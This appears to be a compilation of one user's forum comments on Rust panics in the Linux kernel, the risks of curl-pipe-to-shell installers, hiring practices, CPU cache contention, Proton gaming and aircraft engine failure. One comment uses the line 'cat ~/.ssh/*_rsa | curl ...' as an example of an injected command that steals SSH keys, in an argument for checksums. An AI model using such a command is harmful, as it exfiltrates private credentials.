> dynamic errors fail smaller granularity tasks and handlers deal with tasks failing due to safety checks going bad.
Yes and that's why Rust is bad here (but it doesn't have to be). Rust _forces_ you to stop the whole world when an error occurs. You cannot fail at a smaller granularity. You have to panic. Period. This is why it is being criticized here. It doesn't allow you any other granularity. The top comment has some alternatives that still work in Rust.
I feel like we must have read two different articles. You sound crazy. Didn't read it your way at all.
> Think of that "debugging tools give a huge warning" as being the
equivalent of std::panic in standard rust. Yes, the kernel will
continue (unless you have panic-on-warn set), because the kernel
MUST continue in order for that "report to upstream" to have a
chance of happening.
"If the kernel shuts down the world, we don't get the bug report", seems like a pretty good argument. There are two options when you hit a panic in rust code:
* Panic and shut it all down. This prevents any reporting mechanism like a core dump. You cannot attach a normal debugger to the kernel.
* Ignore the panic and proceed with the information it failed, reporting this failure later.
The kernel is a single program, so it's not like you could just fork it before every Rust call and fail if they fail.
It could, but I can trust that no individual stepped in the middle of that process.
I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.
Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.
"a bunch of folks do something insecure" does not speak argument.
The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.
> Have a look at libdrm from the mesa project (the AMDGPU submodule), then it will give you pointers where to look into the kernel-DRM via the right IOCTLs.
> This reads like some generic LinkedIn CEO post that sounds deep on the surface but actually means nothing.
I felt exactly the opposite. In my career as an engineer I regularly encounter experts who claim to be so, but offer no qualifications or expertise. Having the ability to respond to this type of stuff is valuable.
In my personal life, I've felt that many therapists exhibit this exact response. They choose to give heuristics and platitudes because, often times, they work. But it means they are giving up the expertise which they claim possession of.
I'm reminded of quite the childish thing by this article: "With great power comes great responsibility." If you claim to be an expert, you need to actually be an expert. I consider this the social contract of expertise and prestige.
IMHO it's like your actual desk. Some people like it clean and organized - others have a cluttered mess of objects.
My desk is a tragedy, but I much prefer tiling window managers and rigid, well-organized computing environments. Great to see the variety of options provided by KDE. I'll have to give this a try.
Yeah I dug into the update catalog and downloaded the update that way myself. So there's a few ways to get it. Folks above mentioned the Update Assistant giving it if the Windows Update screen doesn't.
I think it's pretty common at small to mid sized companies + startups. Your more "trendy" companies and your F500 companies do the type of Leetcode interview you hear everyone on HN complain about.
It typically looks like a 15 minute phone interview with HR, followed by a lengthy Leetcode/ take home exam (that's auto graded, no humans), a computer form where you input your school, GPA, and courses taken (seriously). All of this info gets turned into a number and then HR takes a sample of the top X and hands it to the hiring manager: "Here are the 'viable' candidates".
The hiring manager then has to (basically) interview the candidate themselves. Ensure they actually have the skills for the position, determine their interest in the role, etc. So this is probably what you're doing right now. Just imagine someone filtered a bunch of your resumes first.
Take with a grain of salt, but I have heard of some folks explicitly getting permission to do hiring outside of HR at said large companies. The kids they get out of undergrad and through HR's Leetcode process are apparently complete garbage. Don't understand C, pointers, memory, or Linux at all. Don't even know what files are.
I agree. If the church didn't survive, they would just build a new one.
I imagine there lie the remains of hundreds of separate cathedrals under one. But you would never say "the church fell down". Rather, "there was an accident and renovations were required".
I see them as a Ship of Theseus, where the most long-lasting examples were determined through a lot of trial and error.
Isn't this a thing with Notre Dame? It's been a while but I remember the opening of Hunchback mentions the rebuilding right?
> They are already way outside of rational territory and deep into religious territory. In their minds Linux hasn't changed a bit since 1999, even though if you were to compare mac os from that time period against modern linux, they would become enraged at the unfairness and injustice.
I agree that this is part of it. But I also just see plain antagonism against Linux because people recommend it. Just pure contrarianism.
But a lot of the recommendations for Proton are also "memey". It's a bad fit if you need Anti-Cheat or proper injection protection. And that's just the nature of the beast. A proper Anti-Cheat _shouldn't_ approve of the injection necessary to get Proton working
So I do have to keep a Windows installation myself. But Proton represents a really cool technical milestone. Weird the way people talk about tech in games.
Coherency will be maintained (since the protocols support that case). But yes, a separate process would evict that memory. From the processors point of view, they're just addresses tagged with data. Caching behavior doesnt depend on virtual memory addresses because I believe that info is stripped away at that point.
So if someone is thrashing cache on the same core you're on, you will notice it if the processes aren't being shared effectively.
The contents of the cache aren't stored as part of a paused process or context switch. But I'd appreciate a correction here if I'm wrong.
For an example, consider two processes A and B running on a set of cores. If A makes many more memory accesses than B, A can effectively starve B of "cached" memory accesses because A accesses memory more frequently.
If B were run alone, then it's working set would fit in cache. Effectively making the algorithm operate from cache instead of RAM.
BUT. You really have to be hitting the caches hard. Doesn't happen too often in casual applications. I only encountered this on GPUs (where each core has sperate L1 but a shared L2). Even then it's only aa problem if every core is hitting different cache lines.
Could anyone who is a pilot comment on what you're _supposed_ to do if your engine completely goes out? From what I've read so far the answer is "keep trying to get the engine back".
Do you just try and glide it out and land? That's what I would imagine. What even would be the situation where you would bail?
Bailing sounds like more of a military thing to me. _Or_ a fire?
> dynamic errors fail smaller granularity tasks and handlers deal with tasks failing due to safety checks going bad.
Yes and that's why Rust is bad here (but it doesn't have to be). Rust _forces_ you to stop the whole world when an error occurs. You cannot fail at a smaller granularity. You have to panic. Period. This is why it is being criticized here. It doesn't allow you any other granularity. The top comment has some alternatives that still work in Rust.